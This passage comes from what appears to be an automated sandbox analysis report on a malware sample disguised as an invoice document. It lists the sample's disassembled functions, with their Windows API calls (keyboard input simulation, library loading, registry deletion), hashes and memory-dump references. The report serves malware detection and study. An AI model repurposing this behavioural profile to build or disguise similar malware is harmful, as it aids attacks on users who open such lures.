                                                                                            • Opcode Fuzzy Hash: e31d5a25326cfad936127cde49464cb56a2d17833d4ec3f4ad79405d5b41ed43
                                                                                            • Instruction Fuzzy Hash: 31418CB55043019BD710CF19C884B5BBBE5AFC5324F148A6EFCA49B282C375E809CBA6
                                                                                            Function 004692E4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                            • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00469368
                                                                                            • SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 00469379
                                                                                            • SendMessageW.USER32(?,?,00000000,00000000), ref: 004693AB
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$_wcslen
                                                                                            • String ID: ComboBox$ListBox
                                                                                            • API String ID: 763830540-1403004172
                                                                                            • Opcode ID: 61f9ca9c5a419efdf5b0fec418701a37d71c48c53c791e94f016d44e45ec48a7
                                                                                            • Instruction ID: 8c71ebf423f389569590ff88e643f185c263fd61562863516bde62979c95be4e
                                                                                            • Opcode Fuzzy Hash: 61f9ca9c5a419efdf5b0fec418701a37d71c48c53c791e94f016d44e45ec48a7
                                                                                            • Instruction Fuzzy Hash: E0210C7160020067C210BB3A9C46FAF77989B85364F09052FF959AB3D1EA7CE94A436E
                                                                                            Function 00443981 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetStdHandle.KERNEL32(?), ref: 004439B4
                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75922EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                              • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CurrentHandleProcess$Duplicate
                                                                                            • String ID: nul
                                                                                            • API String ID: 2124370227-2873401336
                                                                                            • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                            • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                            • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                            • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                            Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75922EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                              • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                              • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CurrentHandleProcess$Duplicate
                                                                                            • String ID: nul
                                                                                            • API String ID: 2124370227-2873401336
                                                                                            • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                            • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                            • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                            • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                            Function 004412AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowlibraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                            • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                            • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                            • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                            • String ID: SysAnimate32
                                                                                            • API String ID: 3529120543-1011021900
                                                                                            • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                            • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                            • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                            • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                            Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                            • TranslateMessage.USER32(?), ref: 0044308B
                                                                                            • DispatchMessageW.USER32(?), ref: 00443096
                                                                                            • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Message$Peek$DispatchTranslate
                                                                                            • String ID: *.*
                                                                                            • API String ID: 1795658109-438819550
                                                                                            • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                            • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                                            • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                            • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                                            Function 004609BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                              • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                              • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                              • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                              • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                            • GetFocus.USER32 ref: 004609EF
                                                                                              • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                              • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                            • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                            • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                                            • __swprintf.LIBCMT ref: 00460A7A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                                            • String ID: %s%d
                                                                                            • API String ID: 991886796-1110647743
                                                                                            • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                            • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                            • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                            • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                            Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _memset$_sprintf
                                                                                            • String ID: %02X
                                                                                            • API String ID: 891462717-436463671
                                                                                            • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                            • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                            • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                            • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                            Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 0042CD00
                                                                                            • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                                              • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,?,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,004A8E80,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,0040F3D2), ref: 0040FFCA
                                                                                              • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                              • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                              • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                              • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                              • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                              • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                                            • String ID: $OH$@OH$X
                                                                                            • API String ID: 3491138722-1394974532
                                                                                            • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                            • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                            • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                            • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                            Function 00463D7E Relevance: 7.6, APIs: 5, Instructions: 141libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadLibraryW.KERNEL32(00000000), ref: 00463DD1
                                                                                            • GetProcAddress.KERNEL32(?,?), ref: 00463E68
                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00463E84
                                                                                            • GetProcAddress.KERNEL32(?,?), ref: 00463ECE
                                                                                            • FreeLibrary.KERNEL32(?,?,?,00000000,?), ref: 00463EF0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$Library$FreeLoad
                                                                                            • String ID:
                                                                                            • API String ID: 2449869053-0
                                                                                            • Opcode ID: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                            • Instruction ID: 5a5949aabc30296464acd143044f95cbdcafad8a77d2d24e7d672d776762960f
                                                                                            • Opcode Fuzzy Hash: fa0419033c450d646a7a4ef883371915f5dff59722895d189eba4af2447b2958
                                                                                            • Instruction Fuzzy Hash: 9051C1752043409FC300EF25C881A5BB7A4FF89305F00456EF945A73A2DB79EE45CBAA
                                                                                            Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                            • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                            • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                            • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                            • SendInput.USER32 ref: 0044C509
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: KeyboardMessagePostState$InputSend
                                                                                            • String ID:
                                                                                            • API String ID: 3031425849-0
                                                                                            • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                            • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                            • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                            • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                            Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                            • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                            • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                            • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Enum$CloseDeleteOpen
                                                                                            • String ID:
                                                                                            • API String ID: 2095303065-0
                                                                                            • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                            • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                            • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                            • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                            Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                                            • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                                            • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                                            • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                                            • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: PrivateProfile$SectionWrite$String
                                                                                            • String ID:
                                                                                            • API String ID: 2832842796-0
                                                                                            • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                            • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                                            • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                            • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                                            Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetClientRect.USER32(?,?), ref: 00447997
                                                                                            • GetCursorPos.USER32(?), ref: 004479A2
                                                                                            • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                            • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                            • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                                            • String ID:
                                                                                            • API String ID: 1822080540-0
                                                                                            • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                            • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                            • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                            • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                            Function 00447BAF Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                            • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                            • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                            • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                            • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
